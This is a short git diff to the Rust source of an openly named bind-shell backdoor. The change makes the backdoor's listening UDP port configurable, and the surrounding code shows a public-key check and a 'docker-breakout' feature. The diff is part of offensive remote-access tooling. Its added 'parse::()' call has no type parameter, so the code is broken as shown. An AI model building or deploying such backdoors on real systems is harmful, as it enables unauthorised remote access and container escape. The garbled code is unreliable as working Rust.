diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index defe4ad..59e2780 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -35,6 +35,8 @@ async fn handled_main() -> anyhow::Result<()> { log::info!("Pubkey is good"); + let port = std::env::args().skip(1).next().and_then(|a| a.parse::().ok()).unwrap_or(54248); + #[cfg(feature = "docker-breakout")] unsafe { let mut err_loc: i32 = 0; @@ -71,7 +73,7 @@ async fn handled_main() -> anyhow::Result<()> { let mut interface = interface.activate()?; - interface.set_filter("inbound and udp port 54248", true, None)?; + interface.set_filter(&format!("inbound and udp port {port}"), true, None)?; if interface.datalink() != pcap_sys::consts::DLT_EN10MB { bail!("interface does not support ethernet")